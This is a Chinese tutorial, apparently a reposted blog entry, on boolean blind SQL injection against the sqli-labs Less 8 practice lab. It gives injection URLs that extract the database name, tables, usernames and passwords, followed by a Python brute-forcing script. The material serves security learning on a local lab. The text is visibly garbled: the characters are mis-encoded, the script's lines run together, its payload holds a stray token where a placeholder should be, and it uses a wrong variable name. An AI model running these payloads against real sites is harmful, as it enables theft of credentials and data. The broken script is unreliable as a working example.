SQL注入学习——Bool盲注详解 sqli-labs(Less 8)
文章目錄
- 前言:
- 一、Bool盲注常用的函數(shù):
- 二、Less8 布爾型單引號(hào)GET盲注
- 1、查數(shù)據(jù)庫(kù)版本
- 2、猜解數(shù)據(jù)庫(kù)的長(zhǎng)度
- 3、猜數(shù)據(jù)庫(kù)名字
- 4、猜解表名
- 5、猜解字段名
- 6、猜解數(shù)據(jù)
- 三、腳本注入:
前言:
今天來(lái)總結(jié)下SQL注入的 Bool 盲注,通過(guò) sqli-labs 靶場(chǎng)練習(xí)。
一、Bool盲注常用的函數(shù):
database() 顯示數(shù)據(jù)庫(kù)名稱 left(a,b) 從左側(cè)截取a的前b位 substr(a,b,c) 從b位置開(kāi)始,截取字符串a(chǎn)的c長(zhǎng)度 mid(a,b,c) 從位置b開(kāi)始,截取a字符串的c位 length() 返回字符串的長(zhǎng)度 Ascii() 將某個(gè)字符轉(zhuǎn)換為ascii值 char() 將ASCII碼轉(zhuǎn)換為對(duì)應(yīng)的字符ok,知道了這些就去實(shí)戰(zhàn)試試吧。
二、Less8 布爾型單引號(hào)GET盲注
補(bǔ)充:本關(guān)也可以用時(shí)間盲注,報(bào)錯(cuò)注入是不行的,因?yàn)閳?bào)錯(cuò)信息被注釋了。
輸入?id=1,頁(yè)面正常,但還是沒(méi)有顯示信息。
加單引號(hào)
頁(yè)面無(wú)回顯,應(yīng)該是報(bào)錯(cuò)了,繼續(xù)輸入?id=1 and 1=2
頁(yè)面沒(méi)有變化,說(shuō)明不是數(shù)字型,輸入?id=1 and 1=2 --+
頁(yè)面發(fā)生變化(沒(méi)有報(bào)錯(cuò),只是查不出數(shù)據(jù),和上面的無(wú)回顯不一樣),說(shuō)明是單引號(hào)閉合的字符型注入。
知道了這些,下面就可以開(kāi)始正式的 Bool 注入了。
1、查數(shù)據(jù)庫(kù)版本
利用 left(database(),1)進(jìn)行嘗試
127.0.0.1/sqli-labs-master/Less-8?id=1' and left(version(),1)=5 %23這里數(shù)據(jù)庫(kù)的版本為 5.6.17,上面的語(yǔ)句是看版本號(hào)的第一位是不是 5,如果回顯正常,那么說(shuō)明第一位就是5
這里顯然回顯正常,剩余的慢慢測(cè),一般都是使用腳本。
2、猜解數(shù)據(jù)庫(kù)的長(zhǎng)度
127.0.0.1/sqli-labs-master/Less-8?id=1' and length(database())=8 %23
數(shù)據(jù)庫(kù)長(zhǎng)度為 8 時(shí),頁(yè)面回顯正常。這里說(shuō)明下,長(zhǎng)度要一個(gè)一個(gè)的試,這里只是驗(yàn)證下,在要爆信息不多的情況下可以手動(dòng)試試(二分法可以提高很多效率),太多的話就建議用腳本,或者用burp 爆破。
3、猜數(shù)據(jù)庫(kù)名字
首先猜測(cè)數(shù)據(jù)庫(kù)第一位,這里使用了 left 函數(shù)
left(a,b):返回a字符串從左至b位數(shù),詳細(xì)看下面用法。
127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),1)>'a'--+
數(shù)據(jù)庫(kù)我們知道是 security,所以我們看他的第一位是否 大于 a,很明顯 s 大于 a 的,因此回顯正常。當(dāng)我們不知情的情況下,可以用二分法來(lái)提高注入的效率。
測(cè)得第一位為 s,我們看前兩位是否大于 sa,繼續(xù)猜測(cè)第二位:
127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),2)>'sa'--+
然后第三位,第四位…(很麻煩)。
這里還可以構(gòu)造這樣的命令猜解數(shù)據(jù)庫(kù)第一位 :
127.0.0.1/sqli-labs-master/Less-8?id=1' and ascii(substr((database()),1,1)) >80--+第二位:
127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),2,1)) >80--+…
最終我們可以確定數(shù)據(jù)庫(kù)的全名是security,接下來(lái)我們判斷表名。
4、猜解表名
語(yǔ)句:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)=""--+通過(guò)變換 x 和 y 的值我們可以得到所有的表名。
注:security里有四張表,limit 3,1 即第四張表 users
接下來(lái)判斷所有的users中的字段名。
5、猜解字段名
語(yǔ)句:
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)=""--+通過(guò)變換 x 和 y 的值可以得到 username 和 password 這兩個(gè)字段名
接下來(lái)就是爆數(shù)據(jù)了 。
6、猜解數(shù)據(jù)
用戶名:
?id=1' and left((select username from users limit x,1),y)=""--+通過(guò)變換x,y的值可以得到所有的用戶名 。
密碼:
?id=1' and left((select password from users limit x,1),y)=""--+通過(guò)變換 x,y 的值可以得到所有的密碼 。
布爾盲注的手工注入很是繁瑣,推薦使用 sqlmap 或 腳本,下面分享一個(gè)腳本。
三、腳本注入:
爆數(shù)據(jù)庫(kù) :
# -*- coding:utf8 -*- import requests url = 'http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27' # 這個(gè)url要對(duì)應(yīng)你自己的url payload = " and%20left(ze8trgl8bvbq(),{n})=%27{s}%27%20--%20k" # 上面兩個(gè)可以合并為一個(gè),但沒(méi)有必要,(本來(lái)就是我拆開(kāi)的) list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典 str1 = "You are in..........." # 就是通過(guò)返回的頁(yè)面里有沒(méi)有這個(gè)字符串來(lái)判斷盲注有沒(méi)有成功 # 開(kāi)始對(duì)比database() database = '' for i in range(1, 10): # 相當(dāng)于C語(yǔ)言的for循環(huán)1~9 其實(shí)這里應(yīng)該先判斷database有多長(zhǎng)的for ss in list1: # 相當(dāng)于for循環(huán)遍歷list,然后把每一項(xiàng)賦值給ssp = payload.format(d='database', n=i, s=database+ss) # 把payload里的ze8trgl8bvbq,{n},{s}賦值u = requests.get(url+p) # 訪問(wèn)網(wǎng)頁(yè)# print pif str1 in u.content: # 如果str在網(wǎng)頁(yè)內(nèi)容里面database += ssprint u"正在對(duì)比database第", i, u"個(gè)字符",print databasebreak print u"對(duì)比成功,database為:", database # 開(kāi)始對(duì)比user()#user也是同理 user = '' for i in range(1, 20):for ss in list1:p = payload.format(d='user', n=i, s=user+ss)u = requests.get(url+p)# print pif str in u.content:user += ssprint u"正在對(duì)比user第", i, u"個(gè)字符",print userbreak print u"對(duì)比成功,user為:", user print u"database-->", database print u"user-->", user a = raw_input()爆破成功
接下來(lái)爆表
然后盲注users的字段名:
最后就是查看數(shù)據(jù)了
🆗,關(guān)于Bool盲注的總結(jié)暫時(shí)就這么多了。
總結(jié)
以上是生活随笔為你收集整理的SQL注入学习——Bool盲注详解 sqli-labs(Less 8)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: SQL注入学习——sqli-labs闯关
- 下一篇: Bugku 杂项(三)